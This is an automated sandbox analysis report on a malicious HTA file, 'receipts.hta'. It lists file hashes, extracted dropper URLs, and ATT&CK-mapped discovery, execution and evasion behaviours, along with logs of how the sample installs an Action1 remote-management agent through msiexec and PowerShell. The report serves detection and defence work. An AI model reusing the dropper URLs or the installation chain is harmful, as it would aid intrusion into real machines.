8d7007465e10965f8ae1bb35f59bb7721acd5741e2500f9f464f2574843368f4

Analysis

max time kernel
32s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/10/2026, 18:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
receipts.hta
Size 3KB
Sample261029-w2rvas11dw
SHA256 8d7007465e10965f8ae1bb35f59bb7721acd5741e2500f9f464f2574843368f4
MD5 192caf60da18171dcebf12f1e95344b5
SHA1 795cd0440e8d9f383c5a3f139bfd0d01f79338de
SHA512 39ef430257ed261c434a0283e170ef229c033acdd7f844f846cb040dd8e4dc05ec656433a4fbb2ca9b384e621e247a85e77435d7d4d03c383bfb03228475fce6
TLSH
T1EB7166936C4C1475B1B13366979AD414FE7792221704E2E0F0C8E6952F2862542BBEFC
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion discovery execution persistence ransomware

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://us-cdn.action1.com/builtin/00000000-0000-0000-0000-000000000000_0000000000000_builtin/file.dat
exe.dropper
https://eu-cdn.action1.com/builtin/00000000-0000-0000-0000-000000000000_0000000000000_builtin/file.dat
exe.dropper
https://au-cdn.action1.com/builtin/00000000-0000-0000-0000-000000000000_0000000000000_builtin/file.dat
exe.dropper
https://ifconfig.me/ip

Signatures

Executes dropped EXE 2 IoCs

pid	Process
108	action1_agent.exe
4696	action1_agent.exe

Loads dropped DLL 4 IoCs

pid	Process
6004	MsiExec.exe
6004	MsiExec.exe
6004	MsiExec.exe
6000	MsiExec.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ifconfig.me
78	ifconfig.me

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\gu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\cs\messages.json	msedge.exe
File created	C:\Windows\Action1\first_install.tmp	action1_agent.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\offscreendocument.html	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\service_worker_bin_prod.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\ko\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\zh_TW\messages.json	msedge.exe
File opened for modification	C:\Windows\Installer\MSIE3BF.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\page_embed_script.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\pt_BR\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\ml\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\offscreendocument_main.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\it\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\km\messages.json	msedge.exe
File created	C:\Windows\Action1\action1_agent.exe	msiexec.exe
File created	C:\Windows\Action1\rules.json	action1_agent.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\dasherSettingSchema.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\fi\messages.json	msedge.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\en_GB\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_vp35ydak.5rm.ps1	powershell.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\kk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\ms\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\be\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\~DFBEEE40267774286A.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\hy\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\ro\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\fil\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\gl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\sw\messages.json	msedge.exe
File created	C:\Windows\Installer\SourceHash{E6D8B066-2E74-458F-9111-24857C1C627A}	msiexec.exe
File created	C:\Windows\Action1\advanced_settings.json.tmp	action1_agent.exe
File created	C:\Windows\Action1\datasource_data\1008.poll.tmp	action1_agent.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\pa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\ur\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\zh_HK\messages.json	msedge.exe
File created	C:\Windows\Action1\scripts\DataSource_1004.ps1	action1_agent.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\et\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\fr_CA\messages.json	msedge.exe
File created	C:\Windows\Action1\agent_downgrade.version_pair.tmp	action1_agent.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\iw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\si\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\hu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\nl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\sq\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\sr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\~DFFC8746E801860085.TMP	msiexec.exe
File created	C:\Windows\Installer\{E6D8B066-2E74-458F-9111-24857C1C627A}\ProductIcon	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\vi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\lt\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\az\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\lv\messages.json	msedge.exe
File opened for modification	C:\Windows\Installer\MSIE6BF.tmp	msiexec.exe
File created	C:\Windows\Action1\action1_remote.exe	msiexec.exe
File created	C:\Windows\Action1\action1_agent.exe.connection	action1_agent.exe
File created	C:\Windows\SystemTemp\~DF25164A259265168A.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\bg\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\bn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\am\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\msedge_url_fetcher_4752_31735623\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_111_1_0.crx	msedge.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_u25xcogs.l54.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_4ifc2aqe.jkh.psm1	powershell.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\da\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4752_1317524267\_locales\eu\messages.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 41 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3272	powershell.exe
2972	powershell.exe
2696	powershell.exe
5348	powershell.exe
4876	powershell.exe
4224	powershell.exe
3564	powershell.exe
240	powershell.exe
4728	powershell.exe
4516	powershell.exe
2768	powershell.exe
4300	powershell.exe
5488	powershell.exe
4104	powershell.exe
2276	powershell.exe
5340	powershell.exe
3160	powershell.exe
4104	powershell.exe
1212	powershell.exe
4976	powershell.exe
4576	powershell.exe
1148	powershell.exe
2540	powershell.exe
4956	powershell.exe
1388	powershell.exe
3148	powershell.exe
4220	powershell.exe
2896	powershell.exe
5488	powershell.exe
1508	powershell.exe
5472	powershell.exe
1336	powershell.exe
3264	powershell.exe
3136	powershell.exe
4284	powershell.exe
4168	powershell.exe
1460	powershell.exe
3320	powershell.exe
4280	powershell.exe
2524	powershell.exe
4112	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4572	cmd.exe
3852	cmd.exe
4088	cmd.exe
4828	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	action1_agent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	action1_agent.exe

System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 6 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4572	cmd.exe
252	PING.EXE
3852	cmd.exe
3136	PING.EXE
4088	cmd.exe
4824	PING.EXE

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4040	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\System32\fveui.dll,-843 = "BitLocker Drive Encryption"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache	action1_agent.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\System32\fveui.dll,-844 = "BitLocker Data Recovery Agent"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.SecHealthUI_1000.26100.1.0_x64__8wekyb3d8bbwe%5Cresources.pri\1da840c5479071a\a37dfe62\@{C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.2 = "Windows Security"	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.Edge.GameAssist_1.0.3456.0_x64__8wekyb3d8bbwe%5Cresources.pri\1dd420641081894	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.Edge.GameAssist_1.0.3456.0_x64__8wekyb3d8bbwe%5Cresources.pri\1dd420641081894\a37dfe62\@{C:\Program Files\WindowsApps\Microsoft.Edge.GameAssist_1. = "Microsoft Edge Game Assist"	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@%SystemRoot%\System32\fveui.dll,-843 = "BitLocker Drive Encryption"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@%SystemRoot%\system32\NgcRecovery.dll,-100 = "Windows Hello Recovery Key Encryption"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\system32\NgcRecovery.dll,-100 = "Windows Hello Recovery Key Encryption"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@%SystemRoot%\System32\wuaueng.dll,-400 = "Windows Update"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.SecHealthUI_1000.26100.1.0_x64__8wekyb3d8bbwe%5Cresources.pri\1da840c5479071a	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe

Modifies registry class 24 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3187685C39AD9D04484F43F57B7D8C2B	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3187685C39AD9D04484F43F57B7D8C2B\660B8D6E47E2F85419114258C7C126A7	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4154726816-2055034831-2297277433-1000\{423C7DE3-536F-4DC3-8CEB-9B453062CDC2}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\ProductIcon = "C:\\Windows\\Installer\\{E6D8B066-2E74-458F-9111-24857C1C627A}\\ProductIcon"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	msedge.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\PackageName = "action1.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\660B8D6E47E2F85419114258C7C126A7	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\660B8D6E47E2F85419114258C7C126A7\A1_Agent	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\ProductName = "Action1 Agent"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\PackageCode = "919D3E7E9C8C211418ADC39A1BD1B1BF"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Version = "100663960"	msiexec.exe

Runs net.exe

Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery

T1018

pid	Process
252	PING.EXE
3136	PING.EXE
4824	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
5308	msiexec.exe
5308	msiexec.exe
2540	powershell.exe
2540	powershell.exe
2540	powershell.exe
4284	powershell.exe
4284	powershell.exe
4284	powershell.exe
3272	powershell.exe
3272	powershell.exe
3272	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
4752	msedge.exe
4752	msedge.exe
4752	msedge.exe
4752	msedge.exe
4752	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5996	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5996	msiexec.exe
Token: SeSecurityPrivilege	5308	msiexec.exe
Token: SeCreateTokenPrivilege	5996	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5996	msiexec.exe
Token: SeLockMemoryPrivilege	5996	msiexec.exe
